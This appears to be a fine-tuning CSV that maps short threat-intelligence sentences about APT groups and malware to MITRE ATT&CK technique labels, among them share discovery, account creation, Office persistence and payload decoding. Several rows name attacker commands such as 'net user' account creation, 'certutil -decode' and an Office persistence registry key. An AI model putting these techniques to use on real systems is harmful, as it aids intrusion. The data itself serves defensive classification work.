"APT32 used the ""net view"" command to show all shares available, including the administrative shares such as ""C$"" and ""ADMIN$"".",['T1135 - Network Share Discovery'],fine_tune
APT38 has enumerated network shares on a compromised host.,['T1135 - Network Share Discovery'],fine_tune
APT39 has used the post exploitation tool CrackMapExec to enumerate network shares.,['T1135 - Network Share Discovery'],fine_tune
"APT41 used the ""net share"" command as part of network reconnaissance.",['T1135 - Network Share Discovery'],fine_tune
Avaddon has enumerated shared folders and mapped volumes.,['T1135 - Network Share Discovery'],fine_tune
Bazar can enumerate shared drives on the domain.,['T1135 - Network Share Discovery'],fine_tune
"Chimera has used ""net share"" and ""net view"" to identify network shares of interest.",['T1135 - Network Share Discovery'],fine_tune
Clambling has the ability to enumerate network shares.,['T1135 - Network Share Discovery'],fine_tune
Cobalt Strike can query shared drives on the local system.,['T1135 - Network Share Discovery'],fine_tune
"Conti can enumerate remote open SMB network shares using ""NetShareEnum()"".",['T1135 - Network Share Discovery'],fine_tune
"Cuba can discover shared resources using the ""NetShareEnum"" API call.",['T1135 - Network Share Discovery'],fine_tune
DarkVishnya scanned the network for public shared folders.,['T1135 - Network Share Discovery'],fine_tune
"During Operation CuckooBees, the threat actors used the `net share` command as part of their advanced reconnaissance.",['T1135 - Network Share Discovery'],fine_tune
"During Operation Wocao, threat actors discovered network disks mounted to the system using netstat.",['T1135 - Network Share Discovery'],fine_tune
Empire can find shared drives on the local system.,['T1135 - Network Share Discovery'],fine_tune
FIVEHANDS can enumerate network shares and mounted drives on a network.,['T1135 - Network Share Discovery'],fine_tune
HELLOKITTY has the ability to enumerate network resources.,['T1135 - Network Share Discovery'],fine_tune
Koadic can scan local network for open SMB.,['T1135 - Network Share Discovery'],fine_tune
"Kwampirs collects a list of network shares with the command ""net share"".",['T1135 - Network Share Discovery'],fine_tune
Olympic Destroyer will attempt to enumerate mapped network shares to later attempt to wipe all files on those shares.,['T1135 - Network Share Discovery'],fine_tune
PlugX has a module to enumerate network shares.,['T1135 - Network Share Discovery'],fine_tune
Pupy can list local and remote shared drives and folders over SMB.,['T1135 - Network Share Discovery'],fine_tune
"QakBot can use ""net share"" to identify network shares for use in lateral movement.",['T1135 - Network Share Discovery'],fine_tune
QuietSieve can identify and search networked drives for specific file name extensions.,['T1135 - Network Share Discovery'],fine_tune
SILENTTRINITY can enumerate shares on a compromised host.,['T1135 - Network Share Discovery'],fine_tune
Stuxnet enumerates the directories of a network resource.,['T1135 - Network Share Discovery'],fine_tune
"The ""net view \\remotesystem"" and ""net share"" commands in Net can be used to find shared drives and directories on remote and local systems respectively.",['T1135 - Network Share Discovery'],fine_tune
Tonto Team has used tools such as NBTscan to enumerate network shares.,['T1135 - Network Share Discovery'],fine_tune
TrickBot module shareDll/mshareDll discovers network shares via the WNetOpenEnumA API.,['T1135 - Network Share Discovery'],fine_tune
"Tropic Trooper used ""netview"" to scan target systems for shared resources.",['T1135 - Network Share Discovery'],fine_tune
WastedLocker can identify network adjacent and accessible drives.,['T1135 - Network Share Discovery'],fine_tune
WhisperGate can enumerate connected remote logical drives.,['T1135 - Network Share Discovery'],fine_tune
Wizard Spider has used the “net view” command to locate mapped network shares.,['T1135 - Network Share Discovery'],fine_tune
Zebrocy identifies network drives when they are added to victim systems.,['T1135 - Network Share Discovery'],fine_tune
Dragonfly created accounts that appeared to be tailored to each individual staging target.,['T1136 - Create Account'],fine_tune
"Indrik Spider used ""wmic.exe"" to add a new user to the system.",['T1136 - Create Account'],fine_tune
"Sandworm Team added a login to a SQL Server with ""sp_addlinkedsrvlogin"".",['T1136 - Create Account'],fine_tune
"APT3 has been known to create or enable accounts, such as ""support_388945a0"".",['T1136.001 - Create Account: Local Account'],fine_tune
APT39 has created accounts on multiple compromised hosts to perform actions within the network.,['T1136.001 - Create Account: Local Account'],fine_tune
APT41 created user accounts and adds them to the User and Admin groups.,['T1136.001 - Create Account: Local Account'],fine_tune
Carbanak can create a Windows account.,['T1136.001 - Create Account: Local Account'],fine_tune
"Dragonfly 2.0 created accounts on victims, including administrator accounts, some of which appeared to be tailored to each individual staging target.",['T1136.001 - Create Account: Local Account'],fine_tune
Flame can create backdoor accounts with login “HelpAssistant” on domain connected systems if appropriate rights are available.,['T1136.001 - Create Account: Local Account'],fine_tune
Fox Kitten has created a local user account with administrator privileges.,['T1136.001 - Create Account: Local Account'],fine_tune
GoldenSpy can create new users on an infected system.,['T1136.001 - Create Account: Local Account'],fine_tune
Hildegard has created a user named “monerodaemon”.,['T1136.001 - Create Account: Local Account'],fine_tune
"Kimsuky has created accounts with ""net user"".",['T1136.001 - Create Account: Local Account'],fine_tune
Leafminer used a tool called Imecab to set up a persistent remote access account on the victim machine.,['T1136.001 - Create Account: Local Account'],fine_tune
Magic Hound has created a user named `DefaultAccount` on compromised machines and assigned it to the Administrators and Remote Desktop Users groups.,['T1136.001 - Create Account: Local Account'],fine_tune
Mis-Type may create a temporary user on the system named `Lost_{Unique Identifier}`.,['T1136.001 - Create Account: Local Account'],fine_tune
Pupy can user PowerView to execute “net user” commands and create local system accounts.,['T1136.001 - Create Account: Local Account'],fine_tune
SMOKEDHAM has created user accounts and added them to local Admin groups.,['T1136.001 - Create Account: Local Account'],fine_tune
"ServHelper has created a new user and added it to the ""Remote Desktop Users"" and ""Administrators"" groups.",['T1136.001 - Create Account: Local Account'],fine_tune
TeamTNT has created local privileged users on victim machines.,['T1136.001 - Create Account: Local Account'],fine_tune
"The ""net user username \password"" commands in Net can be used to create a local account.",['T1136.001 - Create Account: Local Account'],fine_tune
ZxShell has a feature to create local user accounts.,['T1136.001 - Create Account: Local Account'],fine_tune
HAFNIUM has created and granted privileges to domain accounts.,['T1136.002 - Create Account: Domain Account'],fine_tune
PsExec has the ability to remotely create accounts on target systems.,['T1136.002 - Create Account: Domain Account'],fine_tune
Pupy can user PowerView to execute “net user” commands and create domain accounts.,['T1136.002 - Create Account: Domain Account'],fine_tune
Sandworm Team has created new domain accounts on an ICS access server.,['T1136.002 - Create Account: Domain Account'],fine_tune
"The ""net user username \password \domain"" commands in Net can be used to create a domain account.",['T1136.002 - Create Account: Domain Account'],fine_tune
APT29 can create new users through Azure AD.,['T1136.003 - Create Account: Cloud Account'],fine_tune
APT32 have replaced Microsoft Outlook's VbaProject.OTM file to install a backdoor macro for persistence.,['T1137 - Office Application Startup'],fine_tune
"Gamaredon Group has inserted malicious macros into existing documents, providing persistence when they are reopened. Gamaredon Group has loaded the group's previously delivered VBA project by relaunching Microsoft Outlook with the ""/altvba"" option, once the Application.Startup event is received.",['T1137 - Office Application Startup'],fine_tune
"Ruler can be used to automate the abuse of Outlook Rules, Forms, and Home Pages to establish persistence.",['T1137 - Office Application Startup'],fine_tune
BackConfig has the ability to use hidden columns in Excel spreadsheets to store executable files or commands for VBA macros.,['T1137.001 - Office Application Startup: Office Template Macros.'],fine_tune
Cobalt Strike has the ability to use an Excel Workbook to execute additional code by enabling Office to trust macros and execute code without user permission.,['T1137.001 - Office Application Startup: Office Template Macros.'],fine_tune
"MuddyWater has used a Word Template, Normal.dotm, for persistence.",['T1137.001 - Office Application Startup: Office Template Macros.'],fine_tune
"APT28 has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key ""HKCU\Software\Microsoft\Office test\Special\Perf"" to execute code.",['T1137.002 - Office Application Startup: Office Test'],fine_tune
OilRig has abused the Outlook Home Page feature for persistence. OilRig has also used CVE-2017-11774 to roll back the initial patch designed to protect against Home Page abuse.,['T1137.004 - Office Application Startup: Outlook Home Page'],fine_tune
Ruler can be used to automate the abuse of Outlook Home Pages to establish persistence.,['T1137.004 - Office Application Startup: Outlook Home Page'],fine_tune
Bisonal has been loaded through a `.wll` extension added to the ` %APPDATA%\microsoft\word\startup\` repository.,['T1137.006 - Office Application Startup: Add-ins'],fine_tune
"Naikon has used the RoyalRoad exploit builder to drop a second stage loader, intel.wll, into the Word Startup folder on the compromised host.",['T1137.006 - Office Application Startup: Add-ins'],fine_tune
ABK has the ability to decrypt AES encrypted payloads.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
APT29 used 7-Zip to decode its Raindrop malware.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
APT34 has used certutil to decode base64-encoded files on victims.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
APT39 has used malware to decrypt encrypted CAB files.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Agent Tesla has the ability to decrypt strings encrypted with the Rijndael symmetric encryption algorithm.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Amadey has decoded antivirus name strings.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
An APT19 HTTP malware variant decrypts strings using single-byte XOR keys.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"An APT28 macro uses the command ""certutil -decode"" to decode contents of a .txt file storing the base64 encoded payload.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
AppleSeed can decode its payload prior to execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Aria-body has the ability to decrypt the loader configuration and payload DLL.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Astaroth uses a fromCharCode() deobfuscation method to avoid explicitly writing execution commands and to hide its code.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
AuditCred uses XOR and RC4 to perform decryption on the code functions.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Avaddon has decrypted encrypted strings.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Azorult uses an XOR key to decrypt content and uses Base64 to decode the C2 address.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
BADFLICK can decode shellcode using a custom rotating XOR cipher.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
BBK has the ability to decrypt AES encrypted payloads.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
BBSRAT uses Expand to decompress a CAB file into executable content.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
BLINDINGCAN has used AES and XOR to decrypt its DLLs.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
BRONZE BUTLER downloads encoded payloads and decodes them on the victim.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Babuk has the ability to unpack itself into memory using XOR.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
BabyShark has the ability to decode downloaded files prior to execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
BackConfig has used a custom routine to decrypt strings.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Bandook has decoded its PowerShell script.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Bankshot decodes embedded XOR strings.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Bazar can decrypt downloaded payloads. Bazar also resolves strings and other artifacts at runtime.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Bisonal has decoded strings in the malware using XOR and RC4.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
BoomBox can decrypt AES-encrypted files downloaded from C2.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Bumblebee can deobfuscate C2 server responses and unpack its code on targeted hosts.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Bundlore has used ""openssl"" to decrypt AES encrypted payload data. Bundlore has also used base64 and RC4 with a hardcoded key to deobfuscate data.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Carbon decrypts task and configuration files for execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Cardinal RAT decodes many of its artifacts and is decrypted (AES-128) after being downloaded.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Chaes has decrypted an AES encrypted binary file to trigger the download of other files.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
CharmPower can decrypt downloaded modules prior to execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Chrommme can decrypt its encrypted internal code.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Clambling can deobfuscate its payload prior to execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Clop has used a simple XOR operation to decrypt strings.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Cobalt Strike can deobfuscate shellcode using a rolling XOR and decrypt metadata from Beacon sessions.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
CoinTicker decodes the initially-downloaded hidden encoded file using OpenSSL.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
CookieMiner has used Google Chrome's decryption and extraction operations.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Crimson can decode its encoded PE file prior to execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Cyclops Blink can decrypt and parse instructions sent from C2.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
DDKONG decodes an embedded configuration using XOR.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
DarkWatchman has the ability to self-extract as a RAR archive.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Darkhotel has decrypted strings and imports using RC4 during execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Denis will decrypt important strings used for C&C communication.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Drovorub has de-obsfuscated XOR encrypted payloads in WebSocket messages.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Dtrack has used a decryption routine that is part of an executable physical patch.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"During Frankenstein, the threat actors deobfuscated Base64-encoded commands following the execution of a malicious script, which revealed a small script designed to obtain an additional payload.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"During Operation Dust Storm, attackers used VBS code to decode payloads.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"During Operation Honeybee, malicious files were decoded prior to execution.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"During execution, Threat Group-3390 malware deobfuscates and decompresses code that was encoded with Metasploit’s shikata_ga_nai encoder as well as compressed with LZNT1 compression.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Earth Lusca has used certutil to decode a string into a cabinet file.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Ebury has verified C2 domain ownership by decrypting the TXT record using an embedded RSA public key.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Ecipekac has the ability to decrypt fileless loader modules.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Egregor has been decrypted before execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Exaramel for Linux can decrypt its configuration file.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Expand can be used to decompress a local or remote CAB file into an executable.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
FatDuke can decrypt AES encrypted C2 communications.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"FinFisher extracts and decrypts stage 3 malware, which is stored in encrypted resources.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"For Operation Spalax, the threat actors used a variety of packers and droppers to decrypt malicious payloads.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Gelsemium can decompress and decrypt DLLs and shellcode.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
GoldMax has decoded and decrypted the configuration file when executed.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Goopy has used a polymorphic decryptor to decrypt itself at runtime.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Green Lambert can use multiple custom routines to decrypt strings prior to execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
GrimAgent can use a decryption algorithm for strings based on Rotate on Right (RoR) and Rotate on Left (RoL) functionality.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Hancitor has decoded Base64 encoded URLs to insert a recipient’s name into the filename of the Word document. Hancitor has also extracted executables from ZIP files.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
HermeticWiper can decompress and copy driver files using `LZCopy`.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Heyoka Backdoor can decrypt its payload prior to execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Hildegard has decrypted ELF files with AES.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Honeybee drops a Word file containing a Base64-encoded file in it that is read, decoded, and dropped to the disk by the macro.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
IceApple can use a Base64-encoded AES key to decrypt tasking.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Industroyer decrypts code to connect to a remote C2 server.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"InvisiMole can decrypt, unpack and load a DLL from its resources, or from blobs encrypted with Data Protection API, two-key triple DES, and variations of the XOR cipher.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
IronNetInjector has the ability to decrypt embedded .NET and PE payloads.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
KGH_SPY can decrypt encrypted strings and write them to a newly created folder.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
KOCTOPUS has deobfuscated itself before executing its commands.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Ke3chang has deobfuscated Base64-encoded shellcode strings prior to loading them.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Kerrdown can decode, decrypt, and decompress multiple layers of shellcode.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Kessel has decrypted the binary's configuration once the ""main"" function was launched.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Kobalos decrypts strings right after the initial communication, but before the authentication process.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Kwampirs decrypts and extracts a copy of its main DLL payload when executing.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Lazarus Group has used shellcode within macros to decrypt and manually map DLLs and shellcode into memory at runtime.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Leviathan has used a DLL known as SeDll to decrypt and execute other JavaScript backdoors.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
LightNeuron has used AES and XOR to decrypt configuration files and commands.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
LiteDuke has the ability to decrypt and decode multiple layers of obfuscation.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Lokibot has decoded and decrypted its stages multiple times using hard-coded keys to deliver the final payload, and has decoded its server response hex string using XOR.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Lucifer can decrypt its C2 address upon execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
MacMa decrypts a downloaded file using AES-128-EBC with a custom delta.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
MirageFox has a function for decrypting data containing C2 configuration information.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Molerats decompresses ZIP files once on the victim machine.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Mongall has the ability to decrypt its payload prior to execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Mori can resolve networking APIs from strings that are ADD-encrypted.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
NativeZone can decrypt and decode embedded  Cobalt Strike beacon stage shellcode.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Netwalker's PowerShell script can decode and decrypt multiple layers of obfuscation, leading to the Netwalker DLL being loaded into memory.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"OSX/Shlayer can base64-decode and AES-decrypt downloaded payloads. Versions of OSX/Shlayer pass encrypted and password-protected code to ""openssl"" and then write the payload to the ""/tmp"" folder.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Okrum's loader can decrypt the backdoor code, embedded within the loader or within a legitimate PNG file. A custom XOR cipher or RC4 is used for decryption.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"One TYPEFRAME variant decrypts an archive using an RC4 key, then decompresses and installs the decrypted malicious DLL module. Another variant decodes the embedded file by XORing it with the value ""0x35"".",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
OnionDuke can use a custom decryption algorithm to decrypt strings.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
OopsIE concatenates then decompresses multiple resources to load an embedded .Net Framework assembly.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
P.A.S. Webshell can use a decryption mechanism to process a user supplied password and allow execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
PUNCHBUGGY has used PowerShell to decode base64-encoded assembly.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
PcShare has decrypted its strings by applying a XOR operation and a decompression using a custom implemented LZM algorithm.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Pillowmint has been decompressed by included shellcode prior to being launched.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
PlugX decompresses and decrypts itself using the Microsoft API call RtlDecompressBuffer.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
PoetRAT has used LZMA and base64 libraries to decode obfuscated scripts.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Proton uses an encrypted file to store commands and configuration values.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Pteranodon can decrypt encrypted data strings prior to using them.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
PyDCrypt has decrypted and dropped the DCSrv payload to disk.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
QUADAGENT uses AES and a preshared key to decrypt the custom Base64 routine used to encode strings and scripts.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
QakBot can deobfuscate and re-assemble code strings for execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
RDAT can deobfuscate the base64-encoded and AES-encrypted files downloaded from the C2 server.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
REvil can decode encrypted strings to enable execution of commands and payloads.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
RGDoor decodes Base64 strings and decrypts strings using a custom XOR algorithm.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
ROKRAT can decrypt strings using the victim's hostname as the key.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Raindrop decrypted its Cobalt Strike payload using an AES-256 encryption algorithm in CBC mode with a unique key per sample.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Ramsay can extract its agent from the body of a malicious document.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
RegDuke can decrypt strings with a key either stored in the Registry or hardcoded in the code.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Rising Sun has decrypted itself using a single-byte XOR scheme. Additionally, Rising Sun can decrypt its configuration data at runtime.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
RogueRobin decodes an embedded executable using base64 and decompresses it.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
SDBbot has the ability to decrypt and decompress its payload to enable code execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"SUNSPOT decrypts SUNBURST, which was stored in AES128-CBC encrypted blobs.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Saint Bot can deobfuscate strings and files for execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Sandworm Team's VBS backdoor can decode Base64-encoded data and save it to the %TEMP% folder. The group also decrypted received information using the Triple DES algorithm and decompresses it using GZip.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
ShadowPad has decrypted a binary blob to start execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
ShimRat has decompressed its core DLL using shellcode once an impersonated antivirus component was running on a system.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Sibot can decrypt data received from a C2 and save to a file.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Skidmap has the ability to download, unpack, and decrypt tar.gz files .",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Smoke Loader deobfuscates its code.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"SombRAT can run ""upload"" to decrypt and upload files from storage.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
SoreFang can decode and decrypt exfiltrated data sent to C2.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Spark has used a custom XOR algorithm to decrypt the payload.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Squirrelwaffle has decrypted files and payloads using a XOR-based algorithm.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
SysUpdate can deobfuscate packed binaries in memory.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
TA505 has decrypted packed DLLs with an XOR key.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
TEARDROP was decoded using a custom rolling XOR algorithm to execute a customized Cobalt Strike payload.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"TSCookie has the ability to decrypt, load, and execute a DLL and its resources.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Taidoor can use a stream cipher to decrypt stings used by the malware.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
TeamTNT has used a script that decodes a Base64-encoded version of WeaveWorks Scope.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
The Chinoxy dropping function can initiate decryption of its config file.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"ThreatNeedle can decrypt its payload using RC4, AES, or one-byte XORing.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Tropic Trooper used shellcode with an XOR algorithm to decrypt a payload. Tropic Trooper also decrypted image files which contained a payload.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Turian has the ability to use a XOR decryption key to extract C2 server domains and IP addresses.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Turla has used a custom decryption routine, which pulls key and salt values from other artifacts such as a WMI filter or PowerShell Profile, to decode encrypted PowerShell payloads.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Upon execution, Metamorfo has unzipped itself after being downloaded to the system and has performed string decryption.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Ursnif has used crypto key information stored in the Registry to decrypt Tor clients dropped to disk.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
VaporRage can deobfuscate XOR-encoded shellcode prior to execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Volgmer deobfuscates its strings and APIs once its executed.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
WIRTE has used Base64 to decode malicious VBS script.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"WastedLocker's custom cryptor, CryptOne, used an XOR based algorithm to decrypt the payload.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Waterbear has the ability to decrypt its RC4 encrypted payload for execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
WellMail can decompress scripts received from C2.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
WellMess can decode and decrypt data received from C2.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
WhisperGate can deobfuscate downloaded files stored in reverse byte order and decrypt embedded resources using multiple XOR operations.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
WindTail has the ability to decrypt strings using hard-coded AES keys.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Winnti for Linux has decoded XOR encoded strings holding its configuration upon execution.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
ZIRCONIUM has used the AES256 algorithm with a SHA1 derived key to decrypt exploit code.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Zebrocy decodes its secondary payload and writes it to the victim’s machine. Zebrocy also uses AES and XOR to decrypt strings and payloads.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
ZeroT shellcode decrypts and decompresses its RC4-encrypted payload.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Zeus Panda decrypts strings in the code during the execution process.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
certutil has been used to decode binaries hidden inside certificate files as Base64 information.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"menuPass has used certutil in a macro to decode base64-encoded content contained in a dropper document attached to an email. The group has also used ""certutil -decode"" to decode files on the victim’s machine when dropping UPPERCUT.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
xCaon has decoded strings from the C2 server before executing commands.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Bundlore can install malicious browser extensions that are used to hijack user searches.,['T1176 - Browser Extensions'],fine_tune
Kimsuky has used Google Chrome browser extensions to infect victims and to steal passwords and cookies.,['T1176 - Browser Extensions'],fine_tune
Agent Tesla has the ability to use form-grabbing to extract data from web data forms.,['T1185 - Browser Session Hijacking'],fine_tune
Carberp has captured credentials when a user performs login through a SSL session.,['T1185 - Browser Session Hijacking'],fine_tune
"Cobalt Strike can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates.",['T1185 - Browser Session Hijacking'],fine_tune
"Dridex can perform browser attacks via web injects to steal information such as credentials, certificates, and cookies.",['T1185 - Browser Session Hijacking'],fine_tune
QakBot can use advanced web injects to steal web banking credentials.,['T1185 - Browser Session Hijacking'],fine_tune
TrickBot uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified web page.,['T1185 - Browser Session Hijacking'],fine_tune
Ursnif has injected HTML codes into banking sites to steal sensitive online banking information (ex: usernames and passwords).,['T1185 - Browser Session Hijacking'],fine_tune
DarkHydrus used Template Injection to launch an authentication window for users to enter their credentials.,['T1187 - Forced Authentication'],fine_tune
Dragonfly 2.0 has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.,['T1187 - Forced Authentication'],fine_tune
Dragonfly has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.,['T1187 - Forced Authentication'],fine_tune
APT19 performed a watering hole attack on forbes.com in 2014 to compromise targets.,['T1189 - Drive-by Compromise'],fine_tune
APT32 has infected victims by tricking them into visiting compromised watering hole websites.,['T1189 - Drive-by Compromise'],fine_tune
